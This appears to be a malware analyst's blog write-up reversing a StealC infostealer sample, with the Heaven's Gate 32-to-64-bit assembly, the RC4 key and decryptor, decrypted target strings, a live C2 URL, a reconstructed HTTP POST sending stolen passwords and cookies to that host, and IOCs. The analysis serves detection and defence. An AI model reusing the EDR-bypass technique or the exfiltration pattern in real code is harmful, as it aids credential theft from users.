Reversing a StealC Infostealer

TL;DR

Static analysis of a StealC infostealer that uses the Heaven’s Gate technique to transition from 32-bit to 64-bit mode, trying to bypass EDR hooks. Features RC4-encrypted config strings, a custom “MZER” payload marker, and direct syscalls. Successfully extracted the C2 server, decryption key, and 150+ encrypted strings without dynamic execution — full IOCs at the bottom for anyone who just wants the indicators.


Initial Recon - Wait, that’s not “MZ”…

Got my hands on a suspicious 610KB PE32 executable. Standard stuff at first:

1
2
3
4
5
$ file sample.exe
PE32 executable (GUI) Intel 80386, for MS Windows

$ sha256sum sample.exe
e7885e82d3e17e921144b8e098b96ca8dc091b92355f60954cc5c62a46211eca

Loaded it into Binary Ninja and started poking around. The size immediately caught my attention - 610KB is pretty chunky for a simple loader. Usually means there’s something embedded.

While browsing through the decompiled code, I spotted something weird at address 0x44e9f7:

1
2
3
4
5
6
7
8
9
void* data_28604 = sub_451e7f(arg1)
data_467938 = data_28604
void* rax_5
if (sub_452037(eax_26, 0x28600, "MZER", ecx_6, var_fc0, eax_15, edx_3) == 0)
{
MessageBoxW(hwnd: nullptr, lpText: u"Error payload", ...)
ExitProcess(uExitCode: 0)
/* no return */
}

“MZER”? Not “MZ”? That’s the PE signature every Windows executable starts with. This was clearly looking for an embedded payload with a modified marker to avoid basic signature scanning.

Time to find that payload.


Finding the Hidden Payload

Searched for the “MZER” bytes in the hex view and found it at offset 0x65b38:

1
2
00065b38: 4d 5a 45 52 4c 01 64 86  00 00 00 00 00 00 00 00  MZERL.d.........
00065b48: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Right after “MZER” there’s the PE COFF header (4c 01 = x64 machine type). This is a 64-bit payload embedded in a 32-bit loader. Interesting.

Extracted it:

1
2
3
4
5
$ dd if=sample.exe of=payload.exe bs=1 skip=$((0x65b38))
165136+0 records out

$ file payload.exe
payload.exe: data

The file command doesn’t recognize it because it’s missing the DOS stub. No problem - I can patch that:

1
2
3
4
5
6
7
8
9
10
# Add minimal DOS stub
dos_stub = b'MZ' + b'\x90' * 62

with open('payload.exe', 'rb') as f:
payload_data = f.read()[4:] # Skip "MZER"

with open('payload_patched.exe', 'wb') as f:
f.write(dos_stub)
f.write(b'PE\x00\x00')
f.write(payload_data[4:])

Now it loads perfectly in Binary Ninja as a PE64 with base address 0x140000000.


Heaven’s Gate - The 32-to-64 Transition

Back to the loader. I wanted to understand how it was injecting this 64-bit payload from a 32-bit process. That’s when I found the Heaven’s Gate technique.

What’s Heaven’s Gate?

On 64-bit Windows, 32-bit processes can temporarily switch to 64-bit mode using far returns with specific segment selectors. This lets them:

  • Execute 64-bit code directly
  • Make 64-bit syscalls
  • Bypass userland hooks (EDR/AV solutions primarily hook 32-bit APIs)

The Assembly

Function at address 0x451e7f contained the transition code:

1
2
3
4
5
6
7
8
; Address: 0x451f5b
mov eax, 0x2b ; 64-bit data segment selector
mov fs, ax ; Load FS register
and esp, 0xfffffff0 ; Align stack to 16 bytes
push 0x33 ; Push 64-bit code segment selector
call $+5 ; Position-independent: get current EIP
add dword [esp], 0x5 ; Calculate return address
retf ; FAR RETURN - BOOM! We're in 64-bit mode

That retf (far return) with 0x33 as the code segment is the magic. After this instruction, the CPU switches to 64-bit mode and starts executing x64 instructions.

The Key - Finding “9vX9oFZSsq”

I went back to analyze the actual decryption functions more carefully. Found the main orchestrator at sub_43fa43:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int32_t sub_43fa43(void* arg1, char* b64_string, int32_t arg3, ...)
{
void var_20;

// Step 1: Base64 decode
sub_44a18e(&var_20, b64_string);

// Step 2: RC4 decrypt
// Key is at address 0x490780
sub_44a020(&var_20, 0x490780, ...);

// Step 3: Copy result
sub_401e86(arg1, result, ...);

return result_length;
}

The key address 0x490780 was just a raw pointer here, not the value itself — so the next step was pulling up cross-references to that address in Binary Ninja to find where it actually gets written. That led to the initialization function sub_443ce3:

1
2
3
4
5
6
7
8
9
10
11
void sub_443ce3()
{
// Initialize Campaign ID
sub_4020ad(0x490390, "30502a69951942c7", _strlen("30502a69951942c7"));

// INITIALIZE RC4 KEY
// Address: 0x443d20
sub_4020ad(0x490780, "9vX9oFZSsq", _strlen("9vX9oFZSsq"));

// ... other initializations
}

THERE IT IS! The actual RC4 key: 9vX9oFZSsq

Not some repetitive junk string, but a short 10-byte key that looks randomly generated.


Decrypting Everything

Now that I had the real key, I reverse-engineered the crypto routine at sub_44a020. It was standard RC4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def rc4_decrypt(key, data):
"""Standard RC4 implementation"""
S = list(range(256))
j = 0

# KSA (Key Scheduling Algorithm)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

# PRGA (Pseudo-Random Generation Algorithm)
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
result.append(byte ^ K)

return bytes(result)

RC4_KEY = b"9vX9oFZSsq"

def decrypt_string(b64_string):
encrypted = base64.b64decode(b64_string)
decrypted = rc4_decrypt(RC4_KEY, encrypted)
return decrypted

test = "M2V58PPAFmRQDT0Qqooio4MZMqiMjdWevHiajCpQMyqyEXzmOyuMFW5TnHQNoUhcf2VHZw=="
print(decrypt_string(test))
# Output: b'GetUserDefaultLangID\x00'

IT WORKED!

Decrypted all 150+ strings and got:

Windows APIs:

1
2
3
4
5
6
7
GetUserDefaultLangID
GetComputerNameW
GetProcAddress
CreateProcessA
WriteProcessMemory
VirtualAllocEx
TerminateProcess

WinHTTP APIs:

1
2
3
4
5
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpCrackUrl
WinHttpConnect
WinHttpOpenRequest

Crypto APIs:

1
2
CryptUnprotectData
CryptStringToBinaryA

Firefox NSS:

1
2
3
PK11_GetInternalKeySlot
PK11_Authenticate
PK11SDR_Decrypt

Target paths:

1
2
C:\ProgramData\
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Browser files:

1
2
3
4
5
passwords.txt
cookies.sqlite
formhistory.sqlite
encrypted_key
Local Extension Settings

Steam files:

1
2
3
4
Software\Valve\Steam
ssfn*
config.vdf
loginusers.vdf

And most importantly…


The C2 - Divided and Conquered

Two particularly interesting strings:

String 1 (address 0x45ee0c):

1
2
3
b64 = "GH5j9qydTQUXUW1K4+ty8thabO0="
decrypt_string(b64)
# Output: b'http://23.94.252.171\x00'

String 2 (address 0x45ee2c):

1
2
3
b64 = "Xzwn5fLRWlIWSDVIqe1z9cdFK7SF"
decrypt_string(b64)
# Output: b'/60cdc8e27a6d4451.php\x00'

Combined: http://23.94.252.171/60cdc8e27a6d4451.php

That’s the C2 server! The malware split it into two separate encrypted strings to make static analysis harder. Smart.

Quick VirusTotal check confirmed this IP was associated with StealC campaigns.


Attribution - “builder_v2”

While analyzing the extracted 64-bit payload, I found a debug string in the .rdata section:

1
C:\builder_v2\stealc\json.h

Boom. This is StealC. The family was first advertised as Malware-as-a-Service on January 9, 2023 by a threat actor going by “Plymouth” on the XSS and BHF Russian-speaking forums, pitched as a ready-to-use stealer drawing on Vidar, Raccoon, RedLine and Mars (Sekoia, Feb. 2023). Sekoia had already tracked dozens of samples and 40+ C2 servers within weeks of release, so by late 2025 it’s a well-established commodity stealer rather than a fringe tool. The “builder_v2” debug path confirms this specific sample was built with the second generation of their builder.

Also found two campaign identifiers:

1
2
3
4
5
// Hex ID
sub_4020ad(0x490390, "30502a69951942c7", _strlen("30502a69951942c7"))

// Alpha ID
"MKMKWW"

These IDs are unique to each campaign/buyer of the StealC malware kit.


What It Steals

Based on the decrypted strings and analyzing the payload, this thing targets:

Browsers (Chrome, Edge, Brave, Firefox)

  • Saved passwords (using DPAPI + AES-256-GCM)
  • Cookies
  • Autofill data
  • Browsing history
  • Extensions (crypto wallets, etc.)

Gaming

  • Steam session files and tokens
  • Steam config files (ssfn*, config.vdf, loginusers.vdf)

System Info

  • Hardware details (CPU, RAM)
  • Geolocation data
  • Running processes
  • Installed applications
  • Screenshot of your desktop

Exfiltration

All data gets packaged as JSON and sent via HTTP POST to the C2:

1
2
3
4
5
6
7
8
9
10
11
12
POST /60cdc8e27a6d4451.php HTTP/1.1
Host: 23.94.252.171
Content-Type: application/json

{
"campaign_id": "30502a69951942c7",
"system_info": { ... },
"passwords": [ ... ],
"cookies": [ ... ],
"steam": { ... },
"screenshot": "[base64_data]"
}

Detection & IOCs

File Hashes

Loader (32-bit):

1
SHA256: e7885e82d3e17e921144b8e098b96ca8dc091b92355f60954cc5c62a46211eca

Payload (64-bit):

1
SHA256: eec6e91674aa92c6f65a42802f8da1bbf4c0d4169c471f18c85bdf9ec0b6de95

Network IOCs

1
2
3
4
IP: 23.94.252.171
URL: http://23.94.252.171/60cdc8e27a6d4451.php
Protocol: HTTP POST
Content-Type: application/json

Unique Strings

1
2
3
4
5
MZER                    # Payload marker
9vX9oFZSsq # RC4 key
30502a69951942c7 # Campaign ID (hex)
MKMKWW # Campaign ID (alpha)
C:\builder_v2\stealc # Debug path

Behavioral Detection

Look for processes doing this combination:

  1. 32-bit process executing 64-bit syscalls (Heaven’s Gate pattern)
  2. Accessing multiple browser profile directories rapidly
  3. Reading Local State, Login Data, and Cookies files
  4. Accessing Steam registry keys + .vdf files
  5. GDI+ screenshot capture
  6. HTTP POST with JSON payload to suspicious IP

Confirmed vs. Assumed

Confirmed (verified in this analysis):

  • Heaven’s Gate 32→64 bit transition at 0x451f5b (retf to segment 0x33)
  • RC4 key 9vX9oFZSsq and the algorithm, validated by successfully decrypting the C2 string and API names
  • C2 endpoint http://23.94.252.171/60cdc8e27a6d4451.php, IP corroborated against VirusTotal
  • StealC / builder_v2 attribution via the .rdata debug path

Assumed / not independently verified:

  • The exfiltration JSON schema shown above is reconstructed from decrypted string names (API calls, file paths), not captured from an actual network request — no dynamic execution was performed

Next steps: detonate in an isolated sandbox to confirm the exfiltration format against real traffic, and submit both the loader and payload hashes to VirusTotal for detection coverage.


Analysis performed: December 19-22, 2025
Methodology: Static analysis only
No malware was executed during this analysis